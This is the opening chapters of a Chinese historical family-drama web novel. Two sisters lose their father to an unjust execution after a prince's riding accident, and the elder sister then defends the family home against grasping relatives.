《谁动了我的财神爷!》
1. 第 1 章
有柳未絮,时维仲春。
梳妆明媚的小娘子们结伴流连于街市,出了东家衣料坊,又入西家胭脂铺。
台前胭脂琳琅满目,层叠的海棠香馥郁的绫罗袖下,扑腾出一颗圆润脑袋来——
小姑娘三四岁的模样,唇红齿白,憨态喜人,红绳扎着两只羊角辫,俏生生的。两颗眼珠子似秋葡萄滴流又大又圆,笑吟吟的从姐姐们绫罗衫中钻出来,肉窝窝的小手扒着柜台,努力踮着脚丫,与忙着待客的老板娘吆喝:
“莹姐姐!我要一盒洛儿殷!”
小奶娃的年岁,尚且口齿不清,嗓音倒是脆得胜过门外翠柳黄鹂。一锭碎银往柜台一拍,大有豪掷千金之势。
柜台前小娘子们纷纷循声低头,退却三两步,在瞧见那仰首挺胸的小女娃,不禁掩唇低笑。
老板娘无甚惊异,麻利地收了银子往小秤盘一搁,回身取了一盒胭脂给她,又去摸铜钱。“你阿姐又使唤你跑腿儿啦?”
展青芒接过那盒胭脂,往自己腰间的小荷包塞,美滋滋的垂涎乐:“饶的铜板阿姐让我拿去买糖葫芦呢!”
说完,她拍拍自个儿被撑鼓的小荷包,肉窝窝的小手接过几枚铜板,欢欢喜喜的蹦跳着出门去了。
门前垂柳新绿,南来北往的脚贩扎堆儿,哼着不知名的调儿磕牙打闲。
展青芒跑去红果硕硕的糖葫芦小贩前,手指朝高高一指,很是霸道:“我要最甜的那个!”
小贩是个半大少年,瞥她一眼,懒洋洋的从倚着的草垛站起身,拾了小丫头几枚铜钱,摘了高处那又大又红的一串儿给她。
展青芒珍惜的舔了口,甜得两眼眯笑。
忽的,一队快马如疾风般从街角冲来——
“让开!都让开!”
行人惊恐避让!
“嚯!”展青芒连忙往后退!
她腿短,两步也及不上人家半步,手中的糖葫芦被脑门儿前装着大白菜的菜篮子撞得啪嗒掉在了地上。她仰起头,脸色茫然的瞪着那始作俑者。
快马扬尘,不过几息便冲过了长街。
方才晏晏河清的长街,却是被这一变故闹得人仰马翻。不少摊子被掀翻了,乱乱糟糟的。说话的,吵架的,尚且心有余悸的诸多百姓拍着胸口,小声骂骂咧咧的。
额……
展青芒就是那吵架的。
她脑瓜子一仰,小脚一跺,伸手就抓住了那骂着“赶着投胎啊”的妇人——的菜篮子,薅着白菜叶子,大声:“赔我糖葫芦!”
妇人被拽得感觉身上挂了个秤砣,趔趄了下,险些摔倒,扭头尖声骂:“你个作死的丫头片子!做甚!”
“你撞我!糖葫芦掉了!”展青芒挺起小胸膛,一根手指指着地上被睬扁的糖葫芦残骸,气呼呼的,“我才舔了一口!还没吃!!!”
“去去去!你自己没拿好干老娘屁事!”妇人赶蚊子挥手,满脸晦气,叨叨咕咕的说,“老娘还险些被撞了呢,找谁说理去……”
展青芒被甩开手,粘糖糕似的又抓住,啪啪拍打篮子里的大白菜,“就是你撞我!赔我!”
“谁看见了?回你家去!”妇人烦叨叨。
“吼!”
小姑娘是个机灵的,此刻被市井赖皮气得葡萄眼圆睁、小身子后仰。“我两只眼睛都看见啦!”
“你看见当什么事。”妇人嗤笑不屑。
展青芒眼睛里闪过些惑色,不解她分明做错了事,怎的还能这样理直气壮。牛角辫险些都被气得冲天,小炮仗叉腰:“你等着!我喊我阿姐来骂你!”
“哎呦,我怕死了,你可跑快些。”妇人翻了个白眼,扭腰摆胯的朝另一边走了。
闹市后的街巷,清幽雅静,门前垂柳绦绦,朱红门鳞次栉比。
小炮仗咚咚咚跑回巷子,拍开一扇朱门,跳过拦脚的高门槛,亮嗓子:“阿姐——”
院中四四方方,景致对称,跑过一道门,小院儿里那株桃树旁,坐落一座晒日亭,日光洒金,亭中铺满了翻开的书简,微风轻动。一对儿少男少女坐在漆红长廊,安静的捧着一卷书看。
“阿姐!我的糖葫芦没啦……呜呜呜……”
当真是天大的委屈,展青芒还没跑到晒日亭,小嘴儿一扁,脚步慢下来,抹起了泪。
亭中的少女回首,眉眼妍丽,绸带束着青丝,微风撩动片缕。她似见怪不怪,道:“挨揍了?”
旁边着靛蓝圆领襕衣的少年亦侧首,轻声笑了下。
展青芒的眼泪没有了。
她义愤填膺的冲进亭中,往那儿一站,手脚并用的将方才街上之事演罢,两只小拳头捏紧,“阿姐,走,你帮我骂她!”
展青玉不紧不慢的翻了一页书,道:“糊弄小孩儿呢。”
“什么?!”
展青芒备受打击般,神魂俱震。
展青玉瞧她有趣,手中的竹简一合,撑着下颌笑道:“你之弱小,旁人欺你辱你,自无顾忌。便是连你生气,也不过是觉得憨态可掬。”
展青芒嘴巴张圆,难以置信。
展青玉伸手,一指勾着她的小腰封,把人拽近些,自那圆滚滚的小荷包里取出胭脂盒,捏在手里把玩,“铜板还剩几个?”
展青芒可怜兮兮的抠出两枚小铜板。
“再去买一根吃,可还觉着难过?”展青玉给她又添三枚,笑问。
“生气!”展青芒揣好铜板,忿忿然。又扬起茫然的眼睛问,“那旁人欺我怎么办呀,我也不能凭她乐呐。”
展青玉理了理她的冲天羊角辫,口中的话全然不似对一幼童说的。
她道:“要么玉石俱焚,要么隐忍蛰伏。”
“咳……”
旁边的崔钟灵清了清嗓子。
“怎么,觉得我说的不对?”展青玉侧首,眉眼轻轻垂落看着他问。
崔钟灵连连揖手告饶,嘴上小声说:“阿芒还小呢……”
展青玉不置可否道:“总有长大的那日。”
什么鱼丝,展青芒听不懂,脑袋空空的想,还是糖葫芦好吃呀!
展家有仆从几人,伺候花木,厨下擅烹,只是少有规矩。
展青芒盘着腿儿坐在门槛上,美滋滋的吃完一根糖葫芦,厨下苗婶探头,使唤她去隔壁喊展青玉回家吃饭。
“哦!”
隔壁是崔家,两院隔着一堵墙,上缀碧瓦琉璃,隔壁的一株梅树有枝丫越过墙来,光秃秃的,愈发显得那琉璃色溢彩流光。
展青芒蹬蹬蹬爬上木梯,朝那小院儿喊:“阿姐回家吃饭啦!”
院中一美妇人正静坐绣花,被她一嗓子喊得吓一跳,抬首嗔道:“又登高爬墙,仔细摔着。”
展青芒嘿嘿笑,“卢姨,我阿姐呢,我家要吃饭啦!”
“同你崔爷爷、钟灵在书房,没有一时半刻的怕是难出来。”卢夫人道。
展青芒鹦鹉学舌,将方才卢夫人的话学一遍,抓着鸡腿啃得满嘴油。
展家饭桌今日冷清,展杳因皇家春狩伴驾去了围场,桌上此刻只有王娘子并小闺女阿芒。
王娘子这个嫌弃呐,“你个姑娘家,怎的净是学你爹埋汰。”
展青芒嘿嘿笑,撅起油光亮的小嘴儿任由阿娘擦,还溜缝儿啃一口鸡腿,嚼得满嘴香。
“你爹也是,就一个驯马司的小官儿,出门这么些日子,自己老娘的大寿都赶不上了。”王娘子长得貌美,纵然长女已至豆蔻,面上却未经多少风霜,肤如凝脂,身段儿丰腴,嘴上喋喋抱怨,眉目间不见怨恼。
“大伯和姑母在呀,”展青芒将鸡骨头一吐,嗦嗦手指,抓着筷子去夹鱼,“阿奶明年也会过大寿的。”
童言无忌,老太太已
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经八十有二了,焉知明年境遇如何,只这些,王娘子也不能跟一个乳臭丫头讲,自个儿心下略焦。
看她毫不知烦心事,王娘子故意道:“等你大伯再借故来家里要银子,你今年吃糖葫芦的钱就没了。”
展青芒嘴巴顿圆,撒娇赖唧唧的道:“别给大伯开门啦~”
王娘子扑哧笑,手指轻戳她脑袋瓜,“怎能将客拦在门外?”
展青芒脑袋歪了歪,表情疑惑:“大堂姐说,这也是她们的家呀。”
王娘子筷子一撂,“听她放屁!”
“……”
展家祖上经商,曾是江南富户,至老太太膝下先前两子都没留住,先后殒命。展家经商不义,妨碍子嗣的话被传扬得像是真的。老太太险些一口气没上来,撒手人寰。老太爷当机立断,与江南族亲分了家产,带着妻子来了上京。
老太爷将钱财散去大半,与夫人在上京安家,只买了如今展家四口住着的这间院子。
时日转转,老太太膝下今有两子一女,展杳居幼。两子皆捐官,长子展大爷初入官场,便因军粮贪墨案被撸了,不知悔改,竟是扬言都怪老太爷散了那么些家财,作何怨怪他贪财?老太爷没过多久便撒手人寰。而后安葬罢,老太太带着展大爷一家,从这处老宅搬了出去,将这座院落留给了幼子。
两家虽无分家文书,但这么些年也早已与分家无异。只展大爷性子无耻,每每扯着展杳占了便宜还不必奉养老娘的话,来登门要银子。王娘子听着这话,勿怪要恼。
展青芒小年岁不知大人们的烦忧,吃饱饭便撒丫子跑出门玩耍。
“别跑远,早些回来。”
“知道啦!”
不过半盏茶的功夫,小闺女炮仗似的冲了回来,虎眼一瞪,凶的紧。
午后日光晒目,王娘子手上拿着几尺嫩黄软布,正想着是给她裁褶裙还是罗裙,被这动作一惊,看得发愣。
母女俩对视着,王娘子迟疑正欲问生了何事。忽的,巷子里响起了砰砰拍门声,伴随着妇人尖利的声儿——
“谁在外面!给我把门打开!”
“天杀才!敢戏弄老娘!”
“赶紧开门!”
“……”
王娘子看着自己小闺女,神色有些难言。“你做的?环她门做甚。”
展青芒攥着小拳头,恼道:“谁让她嘴巴坏!说阿姐闲话!”
展、崔两家比邻而居,和睦相待。展青玉与崔钟灵年岁相仿,初识时便是总角之年。便是大了,也常在一处读书辩文。
更甚,崔家有藏书,崔老有才学,崔家的门,展青玉登得如同自家。
巷子里最是不缺闲话的,姑娘郎君稍大些,便难免被拿在一处打趣儿。想来,展青芒是听见对门儿说了些不中听的。
王娘子轻戳小闺女脑门儿,道了句:“听那些碎嘴做甚。”自个儿拎着针线篮子往对门儿去了。
出门时,正碰着崔钟灵将展青玉送出来,二人站在门前说话。
“祖父说,今岁院试,我可勉力一试。”崔钟灵低声语,眼中遮不住期待。
展青玉翻看手中的书册,头也未抬的‘嗯’着应声。
“阿娘与我说……”
空得两息,未听他整句说全了,展青玉疑惑抬首,便见跟前人吭哧得脸红耳赤。
目光甫一碰上,崔钟灵便被她看得烫得偏过了脸,手抵着唇轻咳了声,小声说:“阿娘那日与我说,等我有了功名,便登你家门提亲,你、你可愿意?”
问得半晌,未听言语,崔钟灵一颗心悬起,有些慌的转脸看她,目光对上了。
展青玉莞尔,不知是笑他涨红的脸,还是那副仓惶神色,院墙上的琉璃光折射在她眼睛里,明亮璀璨。她握着手中书,在他不甚灵光的脑袋上轻敲一记,道:“那你可争气些。”
2. 第 2 章
院门被拽得哗啦啦响,猝不及防的打开,内里站着的妇人险些摔个屁股墩儿,脸上尚有怒色,看着门前站着的母女俩。
王娘子臂间挎着针线小篮,神色略讶,作势要来搀她,“这是怎的了,这样大的火气。”
妇人堪堪站稳,姿容狼狈,恼怒道:“不知哪个小贼,环上了我家的门!让我逮到,定要他好看!”
展青玉抱着几卷书,另只手握着根柴火棍,闻言,将柴火棍扔在脚下,语气无甚波澜道:“婶子仔细些,别闪着舌头,不然日后还怎么嚼旁人舌根。”
说罢,也不理会妇人欲辩解,转身进了自家院子。
王娘子朝院子里神色尴尬的几个说嘴妇人扫了眼,说:“都在呢。”
她笑着,又与对门的主家夫人道:“闲话别让我家阿芒听见,她年岁浅,心眼儿小,这不……”王娘子指了指那手臂粗的烧火棍,面上适时露出几分惭愧,“有什么话,与我家阿玉说,街坊邻里住这么些年,你们也该是清楚的,她最是讲理不过了。”
几人讪笑,王娘子回以假笑,挎着篮子回家了。
“隔壁也不知怎么想的,这些闲言碎语我就不信她没听见,迟迟没个章程,净让那些人说嘴。”王娘子忍不住抱怨道,一抬眼,又有些恨铁不成钢的嘀咕,“你也是,不去那崔家不成吗?”
展青玉夹菜安静吃饭,待搁下筷著,才道:“钟灵说,等他考了功名,就来提亲。”
话出口,便见王娘子满脸的欲言又止。
展青玉吃一片春笋不语。
“这话是钟灵说的?可与你卢姨议过?”王娘子声音都低了两分,不无担忧的问。
展青玉神色未变,“他道是卢姨与他讲的。”
听得此处,王娘子顿松口气,倾着的身坐好。半晌,她轻叹:“你卢姨出身好,若不是钟灵他爹走得早,又怎会家道中落,搬到咱们巷子里来?虽是她嘴上不说,但我也瞧得出,她看不上咱们巷子里的。虽说崔翁如今不在朝中做官,但我听说他开山建的那书院很是热闹,许多达官显贵家的都往那里送,人家再是落魄也比咱们家高出太多。你爹多半也是没得官儿可升了,咱们家帮衬不着钟灵,要是你卢姨心中不快,你也别往心里去……”
展青玉安静听着,也不说好与不好。待腹中八分饱,她放下筷著,问:“阿爹明日可回?”
“走时说是会告假,后日就是他老娘大寿,明儿怎说也得回来了。”王娘子颦蹙道。
展青芒颔首,边起身道:“我去看看阿芒,她今日的功课还未做。”
王娘子欲言又止,感同身受的忧愁。她心下道:不到五岁的女娃,能读懂什么书啊。可展青玉向来说一不二,家里无人拗得过她,劝也没得劝。
俄顷,后院小屋里传来痛苦呼喊——
“我不要读书啊!”
王娘子一个激灵,唤苗婶来收拾桌上碗盏,忙不迭的上街去了。
海棠粉的床帐里,展青玉将游鱼似的小姑娘抓住,摁在书案前,又翻出两张宣纸来铺好,边研墨边道:“先写今日的大字。”
展青芒噘着嘴巴,满脸的不情愿,看着阿姐替她润笔,趴在书案上咕哝:“我想先与小石榴的兔子玩儿一会……”
“你刚环了人家的门,使人家阿娘摔了跤,还敢登门去?”展青玉额颈微垂,不疾不徐的轻声说。
闻言,展青芒双眼骤然一亮,肉乎乎的小手捂着嘴巴桀桀窃笑,在阿姐瞧来时,圆润的下巴一抬,理直气壮:“谁让她阿娘说你坏话!我又没欺负小石榴,怎的不与我玩儿兔子啦?”
展青玉不搭腔,反问:“昨日教你的,可记得如何写?”问着,将掭墨羊毫递给她,“先写一张。”
展青芒不喜读书,磨磨蹭蹭的不接笔,“阿娘呢,我想阿娘啦!”
“你是想在此处写字,还是去让阿娘教你刺绣?”
展青芒眼睛顿圆,胖乎乎的身子噌的坐直了,一副坚强模样,接过阿姐手中羊毫,仰着脸脆生生道:“写字!我最欢喜写字啦!”
针会扎手手呀~
唉。
小孩儿记性好,展青玉昨日教她的两个字,今日也写得七七八八,只是……奇丑。
展青玉握着她的手,一笔一划的重新教过,才翻开书案上的千字文,又习新字。
墨香散在房中,展青芒一双眉拧成了蚯蚓,苦大仇深的努力写大字,待得一张染墨,长吁口气,就要逃下高凳,却见阿姐瞥来一眼,大有些不忍卒视,冷声冷调的唤她重写。
小肩膀顿时一塌,“唉~”展青芒叹气,正欲还价,忽见阿娘慌里慌张的跑了过来。
“出事了!”
展青芒脑袋一歪:?
展青玉亦从书卷中抬首。
王娘子一张脸煞白,身子不自觉的发抖,“宁王世子春狩摔断了腿!官中震怒,将驯马司一众官员都下了狱!”
“哪里来的信儿?”展青玉问。
“谁说的呀?”展青芒也问。
“街上都传开了,哪儿能有假?你阿爹可怎的
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好啊……”
展青玉:“何时的事?”
“说是今儿,圣驾方才都匆匆回宫了!”
展青玉放下书起身道:“娘先别急,我去阿爹的同僚家中问问。”
展杳所任并非什么紧要官职,不过是驯马司的养马人罢了,平日里连早朝都不必上的七品小官儿。任官至今,天颜都未曾见过几回,纵然驯马司出了岔子,与他能有多大干系?
出门前,展青玉是这般想的。只是,传言如同长了腿脚,她借了东风,使了银钱,从内侍人口中也只探得讳莫如深的一句——
“官家盛怒,世子爷身边伺候的发落了两个,小娘子还是莫要打听的好。”
夜来凭风起,展青玉打了个寒颤。
次日,官中发旨,将太仆寺卿及几位驯马小吏斩首。展杳,便在其中。
王娘子一听便昏厥了过去。
巡诊问药,已是三更。阿娘如同惊弓之鸟,丁点动静都要跑去门前瞧瞧,一夜枯坐,清晨雾散,她梳洗匀面,携小闺女去与老太太贺寿。
出门时,展青玉抱了抱她,轻言道:“祖母年迈,此事不必与她讲了。”
王娘子颔首,未得言,双眸通红,泪水涟涟。
展青玉去敲了登闻鼓,状纸递上,侍卫神色大骇,将其拖拽走。反复两回,南街前多聚百姓。
“此处不是可玩笑的,小娘子还是速速离开的好。”侍卫低声道。
展青玉唇干裂不言,握着那鼓槌又击两声。
侍卫神色为难,环视一圈围观百姓,一人匆匆进门去禀了。
不多时,鼓院门开,缓缓行出一漆冠朝服之人。
展青玉扔下鼓槌,上前递状叩首。“民女展青玉,替父诉冤情,请大人开印,公堂审讯宁王世子惊马一案!”
周遭议声嗡嗡。
王焕捏着那张薄如蝉翼的纸,却重如千钧。眉眼低垂,望着跪在他脚下的少女。半晌,他道:“已然盖棺定论,无供可翻。”
展青玉仰首,眼底一片红,她吸口气,声音嘶哑如泣,“案件未呈送大理寺,更不曾三司会审,何以断案?”
“官家亲旨,金口玉言。”
“天理不公!”展青玉撑地站起,削瘦的肩头如枝上雪,簌簌直颤,她捡起地上的鼓槌,沉闷擂鼓声如同响雷,一声声的砸在人心口上。
禁军侍卫将沿街驻足观望的百姓驱散。
王焕一步步走到展青玉面前,目光沉重而复杂,似内有沉疴,分不清是怜悯还是惋惜更多。
3. 第 3 章
隅中时分,康家巷子往里数三户,挂红披彩。从酒楼请来帮厨的行菜者,手脚麻利的将一碟碟色香味俱佳的菜肴端上桌。
正堂里,老太太头戴抹额,穿一簇新枣红袄子坐着,只瞧着精神不济,旁边两位妇人陪坐,笑意盈盈的应着前来贺寿的宾客女眷。
王娘子坐在展小姑旁边,纵然脸上擦粉,也遮不住眼下青暗,一张脸扯不出个笑模样儿来,好似坐着愣神,瞧着呆滞。
众人眼观鼻鼻观心,心照不宣的对个眼神儿,笑着恭祝老太太寿辰,只字不提那传遍全城的事给人添堵。
老太太看着门前,未发一言。
展大媳妇儿接过话,与之寒暄,堂中晏晏。
时辰近晌午,丫鬟进来禀饭菜已备好。
展大媳妇儿:“那便入席吧。”
“五郎……”老人喃喃语。
只听一句,王娘子猝然落泪,慌忙用绢帕擦拭,扯了扯唇角笑,“娘忘了,夫君公务缠身,今日恐不能亲来给娘贺寿了。”
展老太太慢慢朝她看来,目光落在脸上,安静又良久。
王娘子脸上的笑容难继,刚垂首,几滴眼泪落在了绣裙上,洇湿了一朵海棠。
前院戏台在唱八仙祝寿,宴席间笑语吟吟,推杯换盏。一少女奔跑涌向人潮,拨开层叠拥挤瞧热闹的百姓,双目被喷涌而出的血灼伤,急促的呼吸声骤然一停!
台上唱。
“韩湘子踩萧云高……”
桌上妇人宽慰:“咱们这三街六巷,就没有比老太太高寿的,这可是好福气……”
树梢有燕子飞过,展老太太浑浊的眼珠抬起,木然望着,少顷,夹了一块红烧肉放在干净碟中,轻语喃声的慈爱唤:“五郎,过来吃……”
“阿爹——”
撕心裂肺的喊声止不住汩汩一地的鲜血,泪水模糊不掉那双不瞑目。
起风了。
院中红绸被风吹得哗啦啦的响,惊了枝头燕雀。
燕子走了。
“五郎……”展老太太蹒跚起身,混沌的目光追着,忽然一顿,怔怔然的唤:“明哥……”
展小姑听见,失守打碎了碗盏,目光随着老太太的视线循去,转而看回来,惶然的唤了声娘。
“你爹……来接我了。”老太太说。
当日宴,来贺寿的亲朋佳友茫然,戏台上那曲八仙祝寿还未唱完的伶人亦是无措,最后被主家送出了门,门前的红绸很快换了白幡。
“你是何人?这尸首不能带走!”
差役粗声粗气的撵人。
一身青黛罗裙的展青玉,纤瘦的身躯如一叶扁舟,蹲下只碰得满手腥甜黏腻,被推得摔倒在地,像是坐化的山峦,呆滞的望着近在咫尺的尸首。
乌云遮日,天阴恻恻的。
此刻围观的百姓已散,徒留满脸晦气收拾尸骨的几名差役。
斩首者五人,亲者痛哭。
展青玉爬起来,被砂砾磨破的手掌不觉得痛,重重从后面推开那欲抬展杳尸身的差役,扯了架子上的白布,双手哆嗦打颤的去捂展杳汩汩冒血的断颈。
差役被推得一个趔趄,有些恼得拔剑怒声:“不知事的小娘子,回你家去!再耽搁咱们几个办差,把你抓牢里去!”
“要不……就把尸首给他们吧,上面也没说定要带回去。”
有年轻的小官爷低声劝,眉眼间神色怜悯。
差役一脚踹过去,“滚边儿上去!你可怜他们,等明儿自己这身官袍扒了,谁来可怜你?宁王世子爷这会儿还在病榻躺着,事事等着上面的指令,你他娘的就是有十条命都不够用!趁早歇了滚回家去!”
轰隆隆的一声雷,天色又暗几分,伴随着此起彼伏的痛哭声,让人汗毛直立,阴沉沉的凉意要沁入骨子里去。
许是展青玉争抢在前,旁边跪地伏哭的亲眷,纷纷冲上前去抢自家人的尸骨。
差役一晃眼,火冒三丈:
“都干什么!”
“住手!”
“再不停下老子动手了!”
雨不知是何时下的,皆道是春雨贵如油,却溅起了满地的血污泥泞,冷潮的雨里充斥着血腥气。赶来的王焕阻止了乱景,吩咐了句:“尸首让各家亲眷带走吧,官家若有怪罪,自我一力担着。”
差役应:“是,大人。”
众人跪倒一片,泣不成声地恩谢,落下的不知是泪还是雨。
随从撑起的一片油伞下,王焕望着,静默无言。
……
康家巷子展家摆着两幅棺木。亲友吊唁,停灵七日,于一天晴时入土为安。
自那日背尸回来,展青玉便起了高热,惊悸昏厥,连日昏沉,幸得隔壁崔家卢夫人多照料。展青芒小小的人儿,也感觉到了家中生了变故,阿娘几日的不在,阿爹也没回来,她不哭不闹,搬着小凳子坐在阿姐床边,不时盖盖被子,端盏喂药,就连对门儿的小石榴来喊她去玩儿兔子都没去。
王娘子与展家人料理过展杳母子俩的丧事,回来时已过七日,短短时日,人憔悴得辨不出模样。
卢娘子欲言又止,终是拍了拍她手,道:“日子还是要过的,万万珍重自身。”
王娘子这几日哭过太多,此时眼睛泛酸,却是流不出泪,道了声谢。
展、崔两家门关上,巷子里走出来几个街坊凑在一处低声说话。
“展杳就一小官儿,怎还遭了这横祸,这往后一家子女人可怎么过活。”
对门的妇人眉眼一撇,吐出一口瓜子皮儿,“有甚不能过的,他们家又不指着展杳的俸禄买米下锅。那王娘子模样好,又有许多家资傍身,就是再适,也多的是人上门说亲的,由得你们在这儿可怜。”
“话不是这么说的……就展家那几个兄弟哪个是好相与的?平日里就不少上门骚扰讨钱,这展小郎一去,留下几个女眷,纵然有许多家资还不定谁得去呢。”
街坊的担忧不无道理,没过两日,王娘子尚对床垂泪,展大带着兄弟侄子并几个膀大腰圆的闲汉已经上门来了。
展青玉尚在养病,且王娘子也委实无力在此时与之周旋什么,被伯兄几个借着丧礼的由头,或赖或借的要去不少银钱。殊不知,那是叫花子捡到了金元宝——撑大了胃口,消停不过三两日,展大哗啦啦的带着一群人登门,将自己幼子往前一推,说着‘不叫三弟这一脉断了香火,日后连个奉香的
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子孙都无’的话,要把自己儿子过继来。
王娘子闻言,气得险些晕厥。“我官人刚走,你就如此明目张胆的上门抢夺家财,欺凌他遗孀闺女,可还有半分人性?”
展大嫂扫了眼门前嘀嘀咕咕的街坊,目光收回,与王娘子苦口相劝:“弟妹这话怎的说得这样难听,都是打断骨头连着筋的亲兄弟,我家官人也是心疼你寡孀难居,为着你们一家子计较。阿玉阿芒多一兄弟,以后家里就有撑门立户的了,三弟香火后继有人,在九泉之下才能安心。有个杀头的爹,阿芒往后少不得被欺负,有个兄弟帮衬多好!且弟妹你还年轻,该改嫁就改嫁,万不可蹉跎……”
王娘子眼睛倏然一红,不知是气得还是怎么,“你……你兄弟尸骨未寒,你们当兄弟嫂嫂的怎能说出此番锥心之言!”
展大冷笑一声,旁边或蹲或站的闲汉也哈哈大笑,目光毫不知礼的在王娘子身上转了个来回。
展小姑犹豫一瞬,开口与王娘子言:“大嫂这话虽有不妥,但一家子也没甚好遮掩的。阿玉和阿芒都是要出嫁的,你岂能一个人过活,早晚是要改嫁。与其年老色衰,还不如趁着芳华仍在时,挑个称心如意的。”
王娘子捏紧的手发着颤捂着心口,剪秋水的眼眸此刻恼得通红,说起那短命的,也不觉潸然,“句句说得好听,为着我,为着我阿玉阿芒,要将你们家的过继,打量谁不知道你们那点心思?”
“我官人在时,与你们哪个薄待了?他下葬不过才几日,你们就藏不住了嘴脸,上门来算计这点家产!”王娘子说得几欲呕血。展杳为人虽是胆怯了些,但性子温和,与谁都甚少红过脸,也不知他九泉之下若是当真有知,见着今日情形,可会恨这一家子亲兄弟姊妹。
但王娘子当真是恨,恨展杳命短,恨这群贪得无厌的蝗虫。
王娘子:“爹早年缠绵病榻时,就已分了家,后来娘做主,将这座宅院留给了我家官人,纵然今日他不在了,留下的家财也都是我阿玉阿芒的,你们要过继,我是万万不能应的……”
展大好似没听见她说话,自顾自的决断道:“展家的族长们都在江南,千里迢迢的,我也不惊动那把老骨头了,今儿我们兄弟姐妹都在,此事就定下了,明日就去衙门立文书。”
“我不应!”王娘子单薄的身躯发着抖,声音也打颤,对着那或讥讽或胸有成竹的几张脸,深吸口气,哽咽道:“你们要过继,就是逼我们孤儿寡母去死!”
“弟妹话说得这严重,咱们哪个不是盼着你们过得好?”展大媳妇儿说,“这家里没个男人,哪天要是被贼人爬墙欺侮了,你们才真真儿是没活路……”
王娘子脸色唰的一白!恨不能活撕了那张脸!
女子名节何其要紧,她一孀妇不打紧,阿玉和阿芒可是要嫁的!
“依着伯母的意思,若有贼人来翻墙,先将堂弟拉出来供其行奸?”一道清凌凌沁着凉意的声音忽然传来。
堂中众人回头——
披着轻裘的少女立在门前,恹恹病容的脸上挂着嘲讽,看人的目光浅淡而凉,像是冬日里檐下的冰凌。
轻裘后探出颗脑袋来,展青芒挺立着小胸膛,瞪着坏蛋,好不凶呢。
4. 第 4 章
展大嫂的脸被这话气得,青紫交加变幻莫测,扬着声儿尖酸刻薄的骂:“你个当姐姐的,竟恶毒至此!这话若是传出来,你怕不是得投井去!”
“一群孽障还未死,我怎敢先行。”展青玉语调淡淡,声音还有些病根未除的虚弱,她提裙迈过门槛,目光一一扫过堂中几人,看着鸠占鹊巢,坐着主家尊位的展大说:“不若一把火烧了,咱们今日结伴去?”
语气波澜无惊,却莫名瘆人的很,展大被盯得打了个寒颤。
展大嫂讪讪闭上了嘴,悄摸后退两步,才吞咽了下口水。这丫头邪性的很,也不知随了谁的性儿,疯言疯语便罢了,只怕她当真敢点一把火,将满屋的人带累了去!
展青芒蹬蹬蹬跑进来,直冲着那要被过继的堂哥去了,霸王似的一把撵得人家骨碌滚下椅子,她吃蛮力拖着去给阿姐坐。
稚童率性,轻易打破了骇人气氛。
那小孩儿懵了还没哭,倒是展大嫂先炸了窝,尖声骂着‘要死的’,把自己儿子拉了起来,手指头将要碰到努力拖椅子的展青芒,一盏茶碗先碎在了她脚边,瓷片四溅。
展大嫂:……
……要死的。
“阿姐坐!”
展青芒小模样得意极了,插着小腰朝想要打她的大伯母:“哼!”
方才堂中一边倒的压迫气氛,骤然间变得剑拔弩张,势均力敌。
几个闲汉如坐针毡,互相使个眼神犹疑是待着还是赶紧走。还不待商议出个章程,就听拍桌声起。
“你爹娘就是这么教你的,半点儿规矩没有!”展大不肯承认被这侄女唬住,颜面有些挂不住,怒目而视拍桌训斥道。
展青玉在椅子上落座,目光朝他淡然一瞥,“若非相隔冥寞,我倒也想问问祖父祖母,对这一家子不当人的畜牲,是当烹,还是当剐?”
“……”
几个闲汉夹着屁股先滚了。
为着一顿酒钱,不值当……
真不值当!
人一走,展大瞳孔先缩了两寸,欲骂句什么,又恐露怯。桌案拍得震天响,建州白瓷茶盏都跳了两跳。
“孽障!家门不幸啊!怎出了你这么个不敬长辈的孽障!”气动伤肝,展大不知是大惊还是大怒,亦或皆有之,骂完就猛咳。
展大嫂抬手就要替他顺背,却不敢动,讪讪收了回去。
展青玉冷眼看着,不紧不慢。站在她腿边的展青芒,埋着脑袋一阵窸窸窣窣的,少顷,递来一块沾着糖渍酸甜香气的皱巴帕子,胖爪捂着自己嘴巴小声说:“阿姐快捂捂,他咳得要吐了……”
展大好悬没一口气岔着仰倒了。他大人大量,揭过方才不提,道:“长辈议事,没你们姐妹俩说话的份儿,都滚出去!”
若那几个闲汉还在,还能将人摁着,他少不得要行一顿家法教训一二才好!可那几个怂蛋,竟是被个十几岁的丫头唬住了,吓得屁滚尿流的跑了……
展大深吸气,压着怒意,心道:早前就不该废话那些,将人摁着在文书上画押签字才是正经。这会儿只剩这几人,他们若是敢拿棍,展青玉怕是就能提刀。
展大越想,越悔不当初。
“既要当盗贼,又何必冠冕堂皇,”展青玉坐得不摇不动,毫不客气的撕下他的面皮,“律法有云,父死者,家中资财皆归在室女所有,你既要谈,莫要寻错了人。”
展青玉看着他被憋得青紫的一张老脸,莞尔道:“只是我这人吃软不吃硬,伯父颐指气使,磨去半日光景,倒不如跪在我脚边磕两个响头来得有用。”
“你!你!”
奇耻大辱!
桌案上的那只白瓷茶盏终还是没保住,被一袖拂落展大盛怒,指着展青玉的脸骂:“大逆不道!”
“那又如何?”
“!!!”
“阿玉呀……”
旁边一道女声唤。
展青玉轻飘睇去一眼,无波无澜道:“姑母不必急,今日账且多,还未轮到你。”
“……”
展姑母快被扯烂的袖子,动静停了。
展大嫂麻了。天爷呀,老太太一走,这疯丫头怕是要翻天!
喉咙生痒,展青玉咽喉一滚,咽下。纤长白皙的手指轻叩扶手——
懂~
展青芒蹦蹦跳跳的迈过台阶,俄顷,端着一壶水回来,嘴巴咬着一只梅子青的青瓷盏。
“……”
啪嗒。
哗啦啦。
“阿姐喝!苗婶给你放了百花醴!甜甜的!”展青芒眼睛放光垂涎道。
展青玉一饮而尽,又倒一盏给她。展青芒却是没有自己喝,小小的人儿端着那盏甜水去给阿娘喝。而后欢喜的捧着空盏回来,自己倒一小盏,美滋滋的舔着喝。
小孩总归是童趣的,哪怕上一瞬还义愤填膺,下一瞬就因一盏甜水乐开怀,将堂屋的紧张氛围挥散不少。
润了嗓子,喉咙的干涩减去,展青玉徐徐道:“过继之事,痴人说梦,诸位也不必用我爹娘无后的话来堵我,今日我展青玉就此起誓,决不外嫁。江南族亲也好,衙门状告也罢,由你们去告,若能让你们再从我手里抢走一文钱,我展青玉便悬死在这里。”
“阿玉……”
自展青玉进来便没再讲过话的王娘子,有些慌了。
展青玉没应,只目光扫过堂中一众亲族。她祖父带着祖母来上京,从长至幼也不过三世,膀大腰圆的闲汉一走,人数都凋零不少。
